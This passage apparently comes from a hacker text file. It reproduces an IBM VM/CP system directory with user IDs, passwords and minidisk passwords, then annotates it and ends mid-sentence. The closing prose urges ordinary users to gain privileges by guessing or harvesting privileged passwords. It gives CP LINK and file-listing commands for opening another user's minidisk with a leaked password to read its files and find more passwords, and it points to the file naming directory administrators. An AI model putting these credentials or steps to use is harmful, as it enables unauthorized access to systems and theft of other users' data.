 SPECIAL 416 3270
 SPECIAL 417 3270
 SPECIAL 418 3270
 SPECIAL 419 3270
 SPECIAL 41A 3270
 SPECIAL 41B 3270
 SPECIAL 41C 3270
 SPECIAL 41D 3270
 SPECIAL 41E 3270
 SPECIAL 41F 3270
 SPOOL 00C 3505 A
 SPOOL 00D 3525 A
 SPOOL 00E 3203 A
 SPOOL 05D 3525 A
 SPOOL 05E 1403 A
 DEDICATE  300  400
 DEDICATE  080  080
 LINK MAINT 190 190 RR
 LINK MAINT 19E 19E RR
 LINK VSEMAINT 191 191 RR
* 3380 SYSTEM
*MDISK 150 3380 000 885 DOSRES MR VSEIPO  VSEIPO
*MDISK 151 3380 000 885 SYSWK1 MR VSEIPO  VSEIPO
*MDISK 152 3380 000 885 SYSWK2 MR VSEIPO  VSEIPO
* 3375 SYSTEM
*MDISK 140 3375 000 959 DOSRES MR VSEIPO  VSEIPO
*MDISK 141 3375 000 959 SYSWK1 MR VSEIPO  VSEIPO
*MDISK 142 3375 000 959 SYSWK2 MR VSEIPO  VSEIPO
* FB-512 SYSTEM
*MDISK 240 FB-512 00000 558000 DOSRES MR VSEIPO VSEIPO
*MDISK 241 FB-512 00000 558000 SYSWK1 MR VSEIPO VSEIPO
*MDISK 242 FB-512 00000 558000 SYSWK2 MR VSEIPO VSEIPO
* 3350 SYSTEM
 MDISK 220 3350 000 555 SYSWKB MR VSE220  VSE0WO
 MDISK 222 3350 000 555 SYSWK2 MR VSE222  VSE2WO
 MDISK 223 3350 000 555 SYSWK4 MR VSE223  VSE3WO
 MDISK 224 3350 000 555 DOSRES MR VSE224  VSE4WO
 MDISK 225 3350 000 555 SYSWK1 MR VSE225  VSE5WO
* 3380 SYSTEM
 MDISK 200 3380 000 885 SYSWKA MR VSE219  VSEAWO
*
USER ROUTER ROUTER 512K 2M G 64 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 46 ROUTER
 MDISK 191 3380 636 003 VMSRES MR RROUTER  WROUTER  MROUTER            03131808
*
USER AP2SVP AP2SVP 512K 8M EG 64 ON ON ON ON
*
* 5668899 APL2 SERVICE MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 9999 APL2-SVP
 MDISK 191 3380 731 003 VMPK01 MR RAP2SVP  WAP2SVP  MAP2SVP            03131808
*
USER APL2PP APL2PP 3M 16M BEG 64 ON ON ON ON
*
* 5668899 APL2
*
INCLUDE EXPPROF
 ACCOUNT 9999 I5668899
 MDISK 191 3380 264 044 VMSRES MR ALL      WAPL2PP                     03131808
*
USER VMASSYS VMASSYS 16M 16M EG 64 ON ON ON ON
*
* 5767032 AS
*
INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 LINK ISPVM 192 192 RR
 LINK SQLDBA 195 195 RR
 MDISK 191 3380 569 018 VMPK01 MR RVMASSYS WVMASSYS INSTALL            03131808
 MDISK 391 3380 587 095 VMPK01 MR RVMASSYS WVMASSYS SYSTEM             03131808
 MDISK 392 3380 682 005 VMPK01 MR RVMASSYS WVMASSYS TEST               03131808
 MDISK 393 3380 687 026 VMPK01 MR RVMASSYS WVMASSYS IPCS               03131808
*
USER VMASMON VMASMON 2M 2M G 64 ON ON ON ON
*
* 5767032 AS
*
INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 OPTION MAXCONN 20
 IUCV ALLOW
 LINK VMASSYS 191 390 RR
 LINK VMASSYS 391 391 RR
 MDISK 191 3380 567 002 VMPK01 MR RVMASMON WVMASMON MVMASMON           03131808
*
USER VMASTEST VMASTEST 2M 2M G 64 ON ON ON ON
*
* 5767032 AS
*
INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 LINK VMASSYS 391 391 RR
 LINK VMASSYS 392 392 RR
 MDISK 191 3380 713 018 VMPK01 MR RVMASTES WVMASTES MVMASTES           03131808
*
USER BATCH BATCH 2M 2M ABEG 64 ON ON ON ON
*
* 5664364 VM BATCH FACILITY
*
INCLUDE EXPPROF
 ACCOUNT 999
 IUCV ALLOW
 OPTION BMX MAXCONN 256
 MDISK 191 3380 741 003 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808
 MDISK 193 3380 744 020 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808
 MDISK 194 3380 764 003 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808
 MDISK 199 3380 767 002 VMPK01 RR RVMBATCH WVMBATCH MVMBATCH           03131808
 MDISK 195 3380 769 002 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808
*
USER BATCH1 BATCH1 2M 4M G 64 ON ON ON ON
*
* 5664364 VM BATCH FACILITY TEST USERID
*
INCLUDE EXPPROF
 ACCOUNT 999
 MDISK 191 3380 771 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808
*
USER BATCH2 BATCH2 2M 4M G 64 ON ON ON ON
*
* 5664364 VM BATCH FACILITY TEST USERID
*
INCLUDE EXPPROF
 ACCOUNT 999
 MDISK 191 3380 776 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH           03131808
*
* USER CSPUSER CSPUSER 2M 4M G 64 ON ON ON ON
*
* 5668814 CSP
*
* INCLUDE EXPPROF
* ACCOUNT 101
* MDISK 191 3380 134 032 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
* MDISK 193 3380 519 008 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
* MDISK 502 3380 527 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
* MDISK 503 3380 547 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER          03131808
*
USER CVIEW CVIEW 2M 2M G 64 ON ON ON ON
*
* 5664296 CVIEW
*
INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 OPTION BMX
 LINK MAINT 193 193 RR
 MDISK 191 3380 732 004 VMSRES MR RCVIEW   WCVIEW                      03131808
*
USER DIRMAINT DIRMAINT 1M 2M BG 64 ON ON ON ON
*
* 5748XE4 DIRMAINT
*
INCLUDE EXPPROF
 ACCOUNT 7 SYSADMIN
 OPTION REALTIME ECMODE
 MDISK 191 3380 191 004 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 193 3380 001 009 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 195 3380 049 009 VMSRES MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 294 3380 844 004 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 394 3380 226 019 VMSTGE MR RDIRMAIN WDIRMAIN MDIRMAIN           03131808
 MDISK 123 3380 000 885 VMSRES MW                                      03131808
*
USER DATAMOVE DATAMOVE 1M 1M G 64 ON ON ON ON
*
* 5748XE4 DATAMOVE MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 5 SYSADMIN
 OPTION ACCT ECMODE
 LINK DIRMAINT 191 193 RR
 LINK MAINT    193 192 RR
 MDISK 191 3380 178 003 VMPK01 MR RDATAMOV WDATAMOV MDATAMOV           03131808
*
USER FSFCNTRL FSFCNTRL 2M 16M ABG 64 ON ON ON ON
*
* 5798DMY FILE STORAGE CONTROL MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION ECMODE BMX MAXCONN 256
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK FSFADMIN 192 198 RR
 MDISK 191 3380 143 007 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 192 3380 141 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 193 3380 150 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 194 3380 152 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 195 3380 153 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 197 3380 154 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 200 3380 155 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 201 3380 160 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 400 3380 165 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
 MDISK 401 3380 170 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR           03131808
*
USER FSFTASK1 FSFTASK1 1M 1M G 64 ON ON ON ON
*
* 5798DMY FILE STORAGE TASK MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX MAXCONN 2
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK FSFCNTRL 191 191 RR
*
USER FSFTASK2 FSFTASK2 1M 1M G 64 ON ON ON ON
*
* 5798DMY FILE STORAGE TASK MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX MAXCONN 2
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK FSFCNTRL 191 191 RR
*
USER FSFADMIN FSFADMIN 1M 1M G 64 ON ON ON ON
*
* 5798DMY FILE STORAGE ADMINISTRATOR
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX MAXCONN 2
 IUCV ALLOW PRIORITY MSGLIMIT 255
 LINK MAINT 319 319 RR
 MDISK 192 3380 175 003 VMPK02 MR RFSFADMI WFSFADMI MFSFADMI           03131808
*
USER IIPS IIPS 2M 4M G 64 ON ON ON ON
*
* 5668012 IIPS
*
INCLUDE EXPPROF
 ACCOUNT 8 INSTR
 MDISK 191 3380 736 013 VMSRES MR RIIPS    WIIPS    MIIPS              03131808
 MDISK 193 3380 749 019 VMSRES MR RIIPS    WIIPS    MIIPS              03131808
*
USER ADMIN ADMIN 1664K 16M ABCDEFG 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
 LINK MAINT 300 300 RR
 MDISK 191 3380 781 001 VMPK01 MR RADMIN   WADMIN   MADMIN             03131808
*
USER DISKACNT DISKACNT 512K 2M G 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
 OPTION ECMODE
 LINK MAINT 300 300 RR
 MDISK 191 3380 010 002 VMPK01 MR RDISKACN WDISKACN MDISKACN           03131808
*
USER CPRM CPRM 512K 1M G 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
 LINK OPERATNS 193 193 RR
 MDISK 191 3380 783 001 VMPK01 MR RCPRM    WCPRM    MCPRM              03131808
 MDISK 192 3380 098 007 VMSRES MR ALL      WCPRM    MCPRM              03131808
 MDISK 291 3380 784 001 VMPK01 MR RCPRM    WCPRM    MCPRM              03131808
*
USER OP1 OP1 1M 13M ABCDEFG 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
 LINK MAINT 300 300 RR
 MDISK 191 3380 058 001 VMSRES MR ROP1     WOP1     MOP1               03131808
*
USER VMUTIL VMUTIL 512K 2M ABDEG 64 ON ON ON ON
*
* 5664318 VM/IPF
*
INCLUDE EXPPROF
 IPL CMS
 OPTION ECMODE
 LINK MAINT 300 300 RR
 MDISK 191 3380 059 001 VMSRES MR RVMUTIL  WVMUTIL  MVMUTIL            03131808
*
USER IPFSERV IPFSERV 2M 16M G 64 ON ON ON ON
*
* 5664318 VM/IPF
*
 IPL CMS
 CONSOLE 009 3215 T MAINT
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 123 123 MW
 LINK MAINT 190 190 RR
 LINK MAINT 191 192 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 294 294 RR
 LINK MAINT 295 295 RR
 LINK MAINT 300 300 RR
 MDISK 191 3380 060 001 VMSRES MR RIPFSERV WIPFSERV MIPFSERV           03131808
*
USER ISPVM ISPVM 1M 10M EG 64 ON ON ON ON
*
* 5664282 ISPF
*
INCLUDE EXPPROF
 ACCOUNT 104 USER04
 MDISK 191 3380 548 005 VMSRES MR RISPVM   WISPVM   MISPVM             03131808
 MDISK 192 3380 110 054 VMSRES MR RISPVM   WISPVM   MISPVM             03131808
*
USER NETVIEW NETVIEW 5M 16M G 64 ON ON ON ON
*
* 5664175 NETVIEW
*
 ACCOUNT NETVIEW GCS
 OPTION ECMODE
 IUCV ANY P M 0
 IUCV *LOGREC
 IPL GCS PARM AUTOLOG
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER A
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 334 191 RR
 LINK VTAM  191 291 RR
 LINK VTAM  29A 29A RR
 LINK MAINT 595 595 RR
 MDISK 198 3380 166 034 VMGCS1 WR RNETVIEW WNETVIEW MNETVIEW           03131808
*
USER PRODBM PRODBM 1M 4M G 64 ON ON ON ON
*
* 5664309 PROFS DATABASE MANAGER
*
INCLUDE EXPPROF
 ACCOUNT 250 PRODBM
 OPTION MAXCONN 2000
 IUCV ALLOW
 LINK SYSADMIN 399 399 RR
 MDISK 161 3380 169 011 PROFPK MR RDBM     WDBM     MDBM               03131808
 MDISK 191 3380 165 004 PROFPK MR RDBM     WDBM     MDBM               03131808
 MDISK 5FD 3380 206 013 PROFPK MR RDBM     WDBM     MDBM               03131808
 MDISK 5FE 3380 193 013 PROFPK MR RDBM     WDBM     MDBM               03131808
 MDISK 5FF 3380 180 013 PROFPK MR RDBM     WDBM     MDBM               03131808
*
USER PROMAIL PROMAIL 1M 2M G 64 ON ON ON ON
*
* 5664309 PROFS DISTRIBUTION MANAGER
*
INCLUDE EXPPROF
 ACCOUNT 250 PROMAIL
 LINK PRODBM   191 395 RR
 LINK SYSADMIN 399 399 RR
 MDISK 151 3380 092 004 PROFPK MR RMAIL    WMAIL    MMAIL              03131808
 MDISK 191 3380 084 008 PROFPK MR RMAIL    WMAIL    MMAIL              03131808
*
USER PROCAL PROCAL 1M 4M G 64 ON ON ON ON
*
* 5664309 PROFS CALENDAR MANAGER
*
INCLUDE EXPPROF
 ACCOUNT 250 PROCAL
 LINK PRODBM   191 395 RR
 LINK SYSADMIN 398 398 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 096 004 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FB 3380 100 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FC 3380 113 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FD 3380 126 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FE 3380 139 013 PROFPK MR RCAL     WCAL     MCAL               03131808
 MDISK 5FF 3380 152 013 PROFPK MR RCAL     WCAL     MCAL               03131808
*
USER SYSADMIN NOLOG 1M 16M EG 64 ON ON ON ON
*
* 5664309 PROFS ADMINISTRATOR
*
INCLUDE EXPPROF
 ACCOUNT 250 SYSADMIN
 LINK PRODBM   161 161 RR
 LINK PRODBM   191 4FA RR
 LINK PRODBM   5FD 5FD RR
 LINK PRODBM   5FE 5FE RR
 LINK PRODBM   5FF 5FF RR
 MDISK 191 3380 001 011 PROFPK MR RADMIN   WADMIN   MADMIN             03131808
 MDISK 298 3380 012 029 PROFPK MR RADMIN   WADMIN   MADMIN             03131808
 MDISK 398 3380 041 019 PROFPK MR RADMIN   WADMIN   MADMIN             03131808
 MDISK 399 3380 060 024 PROFPK MR RADMIN   WADMIN   MADMIN             03131808
 MDISK 397 3380 219 002 PROFPK MR ALL      WADMIN   MADMIN             03131808
*
USER SFCM1 SFCM1 3M 5M BDG 64 ON ON ON ON
*
* 5664198 PSF
*
INCLUDE EXPPROF
 ACCOUNT 100 PSF
 OPTION ACCT
 IUCV *SPL
 LINK PDM470 191 193 RR
 LINK PDMREM1 191 194 RR
 LINK PSFMAINT 191 291 RR
 LINK PSFMAINT 193 293 RR
 LINK PSFMAINT 194 294 RR
 MDISK 191 3380 839 020 VMSRES MR RSFCM1   WSFCM1                      03131808
*
USER PSFMAINT PSFMAINT 3M 16M ABCDEFG 64 ON ON ON ON
*
* 5664198 PSF MAINTENANCE
*
INCLUDE EXPPROF
 ACCOUNT 1 SYSPROG
 MDISK 191 3380 814 011 VMSRES MR RPSFMAIN WPSFMAIN                    03131808
 MDISK 193 3380 825 004 VMSRES MR RPSFMAIN WPSFMAIN                    03131808
 MDISK 194 3380 829 010 VMSRES MR RPSFMAIN WPSFMAIN                    03131808
*
USER PDM470 PDM470 4M 5M BG 64 ON ON ON ON
*
* 5664198 PSF 3800 PDM
*
INCLUDE EXPPROF
 ACCOUNT 100 PSF
 OPTION ACCT
 IUCV *SPL
*DEDICATE 470 470
 LINK SFCM1 191 193 RR
 LINK PSFMAINT 191 291 RR
 LINK PSFMAINT 194 294 RR
 MDISK 191 3380 809 005 VMSRES MR RPDM470  WPDM470                     03131808
*
USER PDMREM1 PDMREM1 4M 5M BG 64 ON ON ON ON
*
* 5664198 PSF 3820 PDM
*
 ACCOUNT 100 PSF
 OPTION ACCT ECMODE
 IPL GCS PARM AUTOLOG
 IUCV *SPL
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19E 19E RR
 LINK MAINT 595 595 RR
 LINK SFCM1 191 193 RR
 LINK PSFMAINT 191 291 RR
 LINK PSFMAINT 194 294 RR
 MDISK 191 3380 804 005 VMSRES MR RPDMREM1 WPDMREM1                    03131808
*
USER PVM PVM 1024K 2M BG 50 ON ON ON ON
*
* 5748RC1 VM PASS-THROUGH FACILITY
*
INCLUDE EXPPROF
 OPTION ECMODE
 LINK MAINT 193 193 RR
 LINK MAINT 36E 191 MR
*
USER RSCS RSCS 1M 2M BG 64 ON ON ON ON
*
* 5748XP1 RSCS V1
*
 ACCOUNT 15 SYSTEM
 OPTION ACCT ECMODE
 IPL 191
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 19E 19E RR
 LINK MAINT 19D 19D RR
 LINK MAINT 49E 49E RR
 MDISK 191 3380 105 002 VMSRES MR RRSCS    WRSCS    MRSCS              03131808
*
USER RSCSV2 RSCSV2 2M 4M BG 64 ON ON ON ON
*
* 5664188 RSCS (VERSION 2)
*
 ACCOUNT 15 SYSTEM
 OPTION ECMODE ACCT BMX VCUNOSHR
 IPL GCS PARM AUTOLOG
 CONSOLE 01F 3215 T OPERATOR
 SPOOL 00C 2540 READER A
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 595 595 RR
 LINK MAINT 59F 191 RR
*
USER SMART SMART 2048K 2M CEG 64 ON ON ON ON
*
* 5796PNA VM REAL TIME MONITOR SYSTEM
*
INCLUDE EXPPROF
 ACCOUNT 999
 LINK MAINT 319 319 RR
 MDISK 191 3380 848 026 VMPK01 MR RSMART   WSMART   MSMART             03131808
*
USER SQLDBA SQLDBA 6M 6M G 64 ON OFF OFF \
*
* 5748XXJ SQL/DS ADMINISTRATOR
*
 ACCOUNT 26
 OPTION MAXCONN 25
 IUCV ALLOW
 IUCV *IDENT SQLDBA GLOBAL
 IPL CMS
 CONSOLE 009 3215 T OPERATOR
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 001 010 SQLPK  W                                       03131808
 MDISK 193 3380 011 035 SQLPK  R  RSQL     WSQL                        03131808
 MDISK 195 3380 046 013 SQLPK  RR RSQL     WSQL     MSQL               03131808
 MDISK 200 3380 059 034 SQLPK  R  RSQL     WSQL                        03131808
 MDISK 201 3380 093 011 SQLPK  R  RSQL     WSQL                        03131808
 MDISK 202 3380 104 100 SQLPK  R  RSQL     WSQL                        03131808
*
USER SQLUSER SQLUSER 2M 2M G 64 ON ON ON ON
*
* 5748XXJ SQL/DS USER MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 27
 OPTION REALTIMER
 IUCV SQLDBA
 LINK SQLDBA 195 195 RR
 MDISK 191 3380 204 003 SQLPK  W                                       03131808
*
USER VMARCH VMARCH 2M 4M BEG 64 ON ON ON ON
*
* 5664291 VMBACKUP
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION ACCT ECMODE
 LINK MAINT 123 1A0 RR
 MDISK 191 3380 001 011 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 193 3380 012 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 100 3380 019 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 101 3380 026 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
 MDISK 200 3380 033 007 VMPK02 MR RVMARCH  WVMARCH  MVMARCH            03131808
*
USER VMBACKUP VMBACKUP 2M 16M BEG 64 ON ON ON ON
*
* 5664291 VMBACKUP
*
 ACCOUNT 999
 OPTION ACCT BMX ECMODE
 IPL CMS
 CONSOLE 009 3215
 SPOOL 001 2540 READER *
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH
 SPOOL 0D0 2540 PUNCH
 SPOOL 0D1 2540 PUNCH
 SPOOL 00E 1403
 SPOOL 0E0 1403
 SPOOL 0E1 1403
 SPOOL 0E2 1403
 SPOOL 0E3 1403
 SPOOL 0E4 1403
 SPOOL 0E5 1403
 SPOOL 0E6 1403
 SPOOL 0E7 1403
 LINK MAINT 190 190 RR
 LINK MAINT 19E 19E RR
 LINK MAINT 123 1A0 RR
 MDISK 191 3380 040 006 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
 MDISK 192 3380 046 003 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
 MDISK 193 3380 049 003 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
 MDISK 194 3380 052 044 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU           03131808
*
USER VMBSYSAD VMBSYSAD 1M 4M BG 64 ON ON ON ON
*
* 5664291 VMBACKUP
*
INCLUDE EXPPROF
 ACCOUNT 999
 LINK MAINT 191 124 RR
 LINK VMBACKUP 194 294 RR RVMBACKU
 LINK VMBACKUP 193 293 RR RVMBACKU
 LINK MAINT 123 1A0 RR
 MDISK 191 3380 096 005 VMPK02 MR RVMBSYSA WVMBSYSA MVMBSYSA           03131808
 MDISK 192 3380 101 009 VMPK02 MR RVMBSYSA WVMBSYSA MVMBSYSA           03131808
*
USER DEMO1 DEMO1 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
 ACCOUNT DEMO1 DEMO1
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 107 003 VMSRES MR RDEMO1   WDEMO1   MDEMO1             03131808
*
USER DEMO2 DEMO2 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
 ACCOUNT DEMO2 DEMO2
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 859 003 VMSRES MR RDEMO2   WDEMO2   MDEMO2             03131808
*
USER DEMO3 DEMO3 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
 ACCOUNT DEMO3 DEMO3
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 862 003 VMSRES MR RDEMO3   WDEMO3   MDEMO3             03131808
*
USER DEMO4 DEMO4 4M 4M G 64 ON ON ON ON
*
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER
*
INCLUDE EXPPROF
 ACCOUNT DEMO4 DEMO4
 IUCV SQLDBA
 LINK MAINT    319 319 RR
 LINK MAINT    31A 31A RR
 LINK MAINT    322 322 RR
 LINK MAINT    326 326 RR
 LINK MAINT    34A 59A RR
 LINK SQLDBA   195 195 RR
 LINK SYSADMIN 399 399 RR
 MDISK 191 3380 865 003 VMSRES MR RDEMO4   WDEMO4   MDEMO4             03131808
*
USER VMTAPE VMTAPE 1M 2M BCEG 64 ON ON ON ON
*
* 5664292 VMTAPE
*
INCLUDE EXPPROF
 ACCOUNT 999
 OPTION BMX ECMODE ACCT
 MDISK 191 3380 110 005 VMPK02 MR RVMTAPE  WVMTAPE  MVMTAPE            03131808
 MDISK 200 3380 115 007 VMPK02 MR RVMTAPE  WVMTAPE  MVMTAPE            03131808
 MDISK 300 3380 122 007 VMPK02 MR RVMTAPE  WVMTAPE  MVMTAPE            03131808
*
USER VMTLIBR VMTLIBR 1M 3M G 64 ON ON ON ON
*
* 5664292 VMTAPE
*
INCLUDE EXPPROF
 ACCOUNT 999
 LINK VMTAPE 191 193 MR
 LINK VMTAPE 200 200 MW
 LINK VMTAPE 300 300 MW
 MDISK 191 3380 129 005 VMPK02 MR RVMTLIBR WVMTLIBR MVMTLIBR           03131808
 MDISK 192 3380 134 007 VMPK02 MR RVMTLIBR WVMTLIBR MVMTLIBR           03131808
*
USER VMMAP VMMAP 2M 4M G 64 ON ON ON ON
*
* 5664191 VMMAP
*
INCLUDE EXPPROF
 ACCOUNT 999
 LINK MAINT 193 193 RR
 MDISK 191 3380 639 024 VMSRES MR RVMMAP   WVMMAP   MVMMAP             03131808
*
USER VTAM VTAM 5M 16M G 64 ON ON ON ON
*
* 5664280 VTAM
*
 ACCOUNT VTAM GCS
 OPTION ECMODE DIAG98 MAXCONN 400
 IUCV *CCS P M 10
 IUCV ANY P M 0
 IPL GCS PARM AUTOLOG
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER A
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 298 191 RR
 LINK MAINT 29A 29A RR
 LINK MAINT 595 595 RR
*
USER VM3812 VM3812 3M 4M BG 64 ON ON ON ON
*
* 5798DTE VM3812 SERVICE MACHINE
*
INCLUDE EXPPROF
 ACCOUNT 15 SYSTEM
 MDISK 191 3380 813 004 VMPK01 MR RVM3812  WVM3812  MVM3812            03131808
 MDISK 192 3380 817 007 VMPK01 MR RVM3812  WVM3812  MVM3812            03131808
 MDISK 193 3380 824 020 VMPK01 MR ALL      WVM3812                     03131808
*    ADD USER ID ------
USER VSEMAN VSE 2M 16M ABCDEFG 42 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 999 SYSTEM
 MDISK 191 3380 001 030 EDMD01 MR VSE                                  03131808
 MDISK 192 3380 873 012 VMSRES MR VSE                                  03131808
USER PENG PENG  2M 16M ABCDEFG 42 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 999 SYSTEM
 MDISK 191 3380 553 010 VMSRES MR PENG PENG                            03131808
*
USER MOESERV MOESERV  2M 16M G 42 ON ON ON ON
INCLUDE EXPPROF
 ACCOUNT 996 MOE
 MDISK 191 3380 544 002 VMPK01 MR MOESERV MOESERV                      03131808
*
USER VTAMUSER CCC      2M 8M G 64 ON ON ON ON
*
* 5668814 CSP
*
 INCLUDE EXPPROF
 ACCOUNT 101
 MDISK 191 3380 134 032 VMPK01 MW VTAM1  WVTAM1   MVTAM1               03131808
USER IDMSSE IDMS     2M 8M G 64 ON ON ON ON
 INCLUDE EXPPROF
 ACCOUNT 101
 MDISK 191 3380 519 005 VMPK01 MW VTAM1  WVTAM1   MVTAM1               03131808
 MDISK 192 3380 524 020 VMPK01 MW VTAM1  WVTAM1   MVTAM1               03131808

===============================================================================

If you need an explanation about these two tables, you should look at it like
this:

       |------User ID
       |     |-------That User ID's password
       ^     ^
USER IDMSSE IDMS     2M 8M G 64 ON ON ON ON
                     ^  ^  ^
                     |  |  |---Its privilege grade
                     |  |--Its maximum memory storage
                     |
                     |----Its default memory storage

 INCLUDE EXPPROF  <-----What you see when you log on
 ACCOUNT 101
 MDISK 191 3380 519 005 VMPK01 MW VTAM1  WVTAM1   MVTAM1
        ^                          ^       ^      ^
        |                          |       |      |---Minidisk mult pass
        |                          |       |---Minidisk write pass
        |                          |---Minidisk read pass
        |--Its minidisk

 MDISK 192 3380 524 020 VMPK01 MW VTAM1  WVTAM1   MVTAM1

===============================================================================

Luckily, I have tested the second table in 4 VM systems and it works.  May you
be lucky too!

Of course, since all of us are general users, the first thing to know is how to
get privileges by trying a password or by accident by getting privileged users'
passwords.

While CP/CMS uses passwords to control performance, it must store some
passwords in the REXX command language (EXEC files).  It looks like this:

CP LINK VTAMUSER 191 121 RR VTAM1

If you have succeeded in linking that minidisk then:

AC 121 B
FILEL * * B

Then you can see all of the files owned by VTAMUSER.  Usually people are lazy
enough to remember too many passwords, so to read the passwords.  It may be its
CP pass too!  TRY IT!!!

But IBM is not so stupid as to let any user with privileges open accounts
randomly.  It limits a maximum of 8 superusers to be able to do it.  You may
find it in:

DIRMAINT DATA Y2

Only these DIRM-STAFF can open accounts from the console.  If another user logs
